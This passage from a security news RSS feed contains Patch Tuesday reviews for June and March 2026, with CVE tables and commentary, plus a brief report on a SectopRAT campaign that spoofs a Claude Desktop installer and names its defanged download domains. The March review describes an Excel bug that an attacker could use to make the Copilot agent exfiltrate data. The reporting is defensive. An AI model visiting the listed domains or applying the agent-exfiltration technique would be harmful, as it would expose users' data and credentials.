  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[SectopRAT Gives Attackers Remote Access to Passwords, Credit Cards, Cookies and Corporate Files]]></title>
<description><![CDATA[SectopRAT is at the center of a highly targeted malvertising campaign abusing Anthropic’s Claude platform to deliver a stealthy, HVNC‑enabled RAT that gives attackers deep, persistent access to victims’ passwords, credit cards, cookies and corporate files. The artifact masqueraded as a genuine Cl...]]></description>
<link>https://tsecurity.de/de/3694557/hacking/sectoprat-gives-attackers-remote-access-to-passwords-credit-cards-cookies-and-corporate-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694557/hacking/sectoprat-gives-attackers-remote-access-to-passwords-credit-cards-cookies-and-corporate-files/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:47 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>SectopRAT is at the center of a highly targeted malvertising campaign abusing Anthropic’s Claude platform to deliver a stealthy, HVNC‑enabled RAT that gives attackers deep, persistent access to victims’ passwords, credit cards, cookies and corporate files. The artifact masqueraded as a genuine Claude Desktop installer but redirected victims to claude.ai.download-app[.]us and then to downloading-api.it[.]com/html/claude/win, where […]</p>
<p>The post <a href="https://gbhackers.com/sectoprat-campaign/">SectopRAT Gives Attackers Remote Access to Passwords, Credit Cards, Cookies and Corporate Files</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New security protocol shields data from attackers during cloud-based computation]]></title>
<description><![CDATA[The technique leverages quantum properties of light to guarantee security while preserving the accuracy of a deep-learning model.]]></description>
<link>https://tsecurity.de/de/3694488/it-security-nachrichten/new-security-protocol-shields-data-from-attackers-during-cloud-based-computation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694488/it-security-nachrichten/new-security-protocol-shields-data-from-attackers-during-cloud-based-computation/</guid>
<pubDate>Sat, 25 Jul 2026 19:01:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The technique leverages quantum properties of light to guarantee security while preserving the accuracy of a deep-learning model.]]></content:encoded>
</item>
<item>
<title><![CDATA[The March 2026 Security Update Review]]></title>
<description><![CDATA[I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d...]]></description>
<link>https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for March 2026</strong></p><p class="">For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for <a href="https://helpx.adobe.com/security/products/acrobat/apsb26-26.html">Acrobat</a> likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for <a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-24.html">Experience Manager</a> is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for <a href="https://helpx.adobe.com/security/products/magento/apsb26-05.html">Commerce</a> is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release. </p><p class="">The fix for <a href="https://helpx.adobe.com/security/products/illustrator/apsb26-18.html">Illustrator</a> corrects seven bugs, including a few Critical-rated ones. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-25.html">Substance 3D Painter</a> fixes nine different CVEs, all rated Important. That’s not the case for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-29.html">Substance 3D Stager</a>, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-30.html">Adobe DNG Software Development Kit</a> (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution. </p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for March 2026</strong></p><p class="">This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.</p><p class="">This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.</p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><strong>CVE-2026-26144</strong></a><strong> - Microsoft Excel Information Disclosure Vulnerability<br></strong>This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><strong>CVE-2026-26110</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><strong>CVE-2026-26113</strong></a><strong> - Microsoft Office Remote Code Execution Vulnerability <br></strong>Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><strong>CVE-2026-23669</strong></a><strong> - Windows Print Spooler Remote Code Execution Vulnerability<br></strong>Just reading the title makes me twitch with remembrances of <a href="https://en.wikipedia.org/wiki/PrintNightmare">Print Nightmare</a> from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><strong>CVE-2026-23668</strong></a><strong> - Windows Graphics Component Elevation of Privilege Vulnerability<br></strong>This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.</p><p class="">Here’s the full list of CVEs released by Microsoft for March 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-March.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl65">
 <col width="263" class="xl66">
 <col width="111" class="xl67" span="4">
 <col width="95" class="xl67">
 <col width="645" class="xl65">
 <tr height="47">
  <td width="151" class="xl65" height="47"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl66"><span> </span>Title<span> </span></td>
  <td width="111" class="xl67"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl67"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl67"><span> </span>Public</td>
  <td width="111" class="xl67"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl67"><span> </span>Type<span> </span></td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26127"><span><span> </span>CVE-2026-26127<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21262"><span><span> </span>CVE-2026-21262<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23651"><span><span> </span>CVE-2026-23651<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
